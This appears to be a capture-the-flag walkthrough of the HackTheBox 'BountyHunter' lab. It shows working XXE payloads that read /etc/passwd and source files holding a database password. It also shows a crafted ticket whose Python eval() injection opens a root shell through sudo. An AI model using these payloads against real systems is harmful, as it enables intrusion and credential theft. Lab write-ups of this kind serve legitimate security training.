TL;DR
This is a walkthrough writeup on BountyHunter which is a Linux box categorized as easy on HackTheBox. The initial foothold was gained by discovering and exploiting XXE vulnerability, meanwhile the privilege escalation part was interesting and required us to do some basic code analysis. This was my first ever Active Box which I rooted, so I was quick on releasing a writeup on it π€
Walkthrough
BountyHunter Writeup: Scanning Network
Running the usual Nmap port scan :
Command used --> nmap -n -Pn -A -sC -sV -v -oN nmap.initial 10.10.11.100
Increasing send delay for 10.10.11.100 from 0 to 5 due to 148 out of 493 dropped probes since last increase.
Nmap scan report for 10.10.11.100
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
We gotta deal with :port 80
: web-serverport 22
: SSH
Web Enumeration
Visiting the website on the browser –>
BountyHunter Writeup :log_submit.php
We can fill this Bounty Report System form with the bug info and submit it.
On, submitting the form the details are reflected back on the webpage… Huhh, interesting..Let’s come back to this later.
Running a Dirbuster scan
We found some interesting files on running a Dirbuster scan : db.php
, /resources/README.txt
DirBuster 1.0-RC1 - Report
http://10.10.11.100:80
--------------------------------
Directories found during testing:
Dirs found with a 200 response:
/
/resources/
Dirs found with a 403 response:
/assets/
/css/
/icons/
/assets/img/
/assets/img/portfolio/
/js/
/icons/small/
--------------------------------
Files found during testing:
Files found with a 200 responce:
/index.php
/portal.php
/assets/img/avataaars.svg
/resources/jquery.easing.min.js
/resources/bootstrap.bundle.min.js
/resources/jquery.min.js
/resources/README.txt
/js/scripts.js
/log_submit.php
/resources/bountylog.js
/resources/lato.css
/resources/bootstrap_login.min.js
/resources/monsterat.css
/resources/jquery_login.min.js
/resources/all.js
/db.php
--------------------------------
Browsing the contents of these file,s we got some interesting finds.
Browsing db.php
gave us nothing but a blank page.
/resources/README.txt
did reveal a tasks checklist
Tasks:
[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions
Going Burrrrp !
While intercepting the web requests in BurpSuite, we saw that in the POST
request that was sent on submitting the “Bounty Report form”, there was some encoded data being sent in that POST request.
Decoding this data string in the following sequence Data β> URL β> base64
, (if you are wondering about how I thought about this., it was just hit and trial for me π), we saw that the form data was being sent in XML format.
Encoded data=
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5yY2UgdmlhIHh4ZTwvdGl0bGU%2BCgkJPGN3ZT42OTY5PC9jd2U%2BCgkJPGN2c3M%2BNTwvY3Zzcz4KCQk8cmV3YXJkPjEwMDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D
Decoded Data=
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>rce via xxe</title>
<cwe>6969</cwe>
<cvss>5</cvss>
<reward>100</reward>
</bugreport>
There might be some potential for XXE.. Let’s try it then π
XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application’s processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.
BountyHunter Writeup: Intial Foothold (Exploiting XXE)
Refer to this for XXE payloads -> PayloadsAllTheThings/XXE Injection
Using the payload <!DOCTYPE title [<!ENTITY cmd SYSTEM 'file:///etc/passwd'>]>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [<!ENTITY cmd SYSTEM 'file:///etc/passwd'>]>
<bugreport>
<title>rce via xxe</title>
<cwe>6969</cwe>
<cvss>5</cvss>
<reward>100</reward>
</bugreport>
Then encoding it in the reverse sequence xml-data β base64 β URLencode
. Then sending this request.
BOOM! We can successfully read the /etc/passwd
file means we have XXE !
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
Nice, we have a user development
except the root
user. Further, I tried to get more files, like
/home/development/user.txt
/home/development/.ssh/id_rsa
/var/www/sheerazali.com/db.php
But I wasn’t able to view them, also i wasn’t able to perform code execution using the expect
php module.
<!DOCTYPE title [<!ENTITY cmd SYSTEM 'expect://id'>]>
but that too didn’t work.
Eventually, I tried to retrieve files using php base64 filter
. (another cool way to circumvent file retrieval hinderance)
<!DOCTYPE title [<!ENTITY cmd SYSTEM 'php://filter/convert.base64-encode/resource=index.php'>]>
Trying to view the db.php
file (the one we found during web enumeration)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [<!ENTITY cmd SYSTEM 'php://filter/convert.base64-encode/resource=db.php'>]>
<bugreport>
<title>&cmd;</title>
<cwe>6969</cwe>
<cvss>5</cvss>
<reward>100</reward>
</bugreport>
Base64 encoded content of db.php in the responce :
PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=
Decoding this as Base64
we get β>
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
Yayy! We got the creds. Using them on SSH for user root
& admin
didn’t work.
But remember we got a user named development
in the /etc/passwd
file. so lets try the obtained password for this user on SSH.
And there we have our user shell ^_^
BountyHunter Writeup : User Flag β³
development@bountyhunter:~$ cat user.txt
df63624da724e953e2120e8efa272649
Privilege Escalation
Another file, contract.txt
, was in the /home/development
which says β
development@bountyhunter:~$ cat contract.txt
Hey team,
I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.
This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.
I set up the permissions for you to test this. Good luck.
-- John
Checking sudo permissions on user development
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
On further enumeration, we found ticket_validator.py
program which we have the permission to run as root
. And we also got some invalid tickets
, which have the following format –>
development@bountyhunter:~$ cd /opt
development@bountyhunter:/opt$ cd skytrain_inc/
development@bountyhunter:/opt/skytrain_inc$ ls -al
total 16
drwxr-xr-x 3 root root 4096 Jul 22 11:08 .
drwxr-xr-x 3 root root 4096 Jul 22 11:08 ..
drwxr-xr-x 2 root root 4096 Jul 22 11:08 invalid_tickets
-r-xr--r-- 1 root root 1471 Jul 22 11:08 ticketValidator.py
development@bountyhunter:/opt/skytrain_inc$ cd invalid_tickets/
development@bountyhunter:/opt/skytrain_inc/invalid_tickets$ ls -al
total 24
drwxr-xr-x 2 root root 4096 Jul 22 11:08 .
drwxr-xr-x 3 root root 4096 Jul 22 11:08 ..
-r--r--r-- 1 root root 102 Jul 22 11:08 390681613.md
-r--r--r-- 1 root root 86 Jul 22 11:08 529582686.md
-r--r--r-- 1 root root 97 Jul 22 11:08 600939065.md
-r--r--r-- 1 root root 101 Jul 22 11:08 734485704.md
development@bountyhunter:/opt/skytrain_inc/invalid_tickets$ cat 390681613.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End Ticket
Python Code Analysis
Going ahead and examining the ticketValidator.py
python code.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
Execution
development@bountyhunter:/opt/skytrain_inc$ cat ./invalid_tickets/390681613.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End Ticket
development@bountyhunter:/opt/skytrain_inc$ python3 ticketValidator.py
Please enter the path to the ticket file.
./invalid_tickets/390681613.md
Destination: New Haven
Invalid ticket.
development@bountyhunter:/opt/skytrain_inc$
Explaination
So, this code takes in a ticket file with a .md
file extension and performs validation on it.
The code snippet of interest to us is β>
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
It is examining the following line 4 of the ticket.md
fileβ>
**31+410+86**
The code checks for the following to validate the ticket β
Action 1 : If the line starts with “**”, continue.
Action 2 :Splits the string by considering “+” as the delimitter, takes the first part at index 0 and replaces “**” with nothing (basically removes it), and stores it as ticketcode
.
**31+410+86** --> [**31,410,86**] --> **31
ticketcode = 31
Action 3 : If this ticketcode
satisfies ticketcode% 7 ==4
, then continue.
31 % 7 == 3
condition check : false
so this particular ticket is labelled as invalid.
Although, for the sake of understanding the next check, let us assume that this condition check was passed π
Action 4 : Remove the “**” from the original string and evaluate value of the expression.
**31+410+86** --> (31+410+86)
eval(31+410+86) = 527
527 > 100
condition check : true
Now, the ticket has passed all checks and it will be labelled as Valid.
If the result of this evaluated expression is > 100 then return True.
eval()
exploit
Now eval()
function in Python is vulnerable. This function will also execute the python code given to it. In this case the input it takes is not being sanitized, so we can provide malicious python code to it, spawning a root shell (cause we have the permission to run this program as root). Read more about it here.
Now I used the following string, which satisfies all the conditions in order for the eval()
function to execute the code and spawn a shell.
** 32 + 1 == 33 and __import__('os').system('/bin/bash')==False
As this string satisfies all the conditions from 1 to 3 which are required to be satisfied in order to execute the eval()
function, let’s create a ticket.md
file with this content in the /tmp
directory (as we have write permissions in this), and run ticketValidator.py
on it
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
** 32 + 1 == 33 and __import__('os').system('/bin/bash')==False
##Issued: 2021/04/06
#End Ticket
development@bountyhunter:/opt/skytrain_inc$ cd /tmp
development@bountyhunter:/tmp$ echo "# Skytrain Inc
> ## Ticket to New Haven
> __Ticket Code:__
> ** 32 + 1 == 33 and __import__('os').system('/bin/bash')==False
> ##Issued: 2021/04/06
> #End Ticket" > ticket.md
Root Flag β³
Executing ticketValidator.py
as root.
development@bountyhunter:/tmp$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/ticket.md
Destination: New Haven
root@bountyhunter:/tmp# whoami
root
root@bountyhunter:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@bountyhunter:/tmp# cat /root/root.txt
2rfs7*************************
Yayyy, we have successfully rooted BountyHunter π
Until next time, do checkout other informative writeups and blogs here.
Nice explanation for the Python code required for privesc!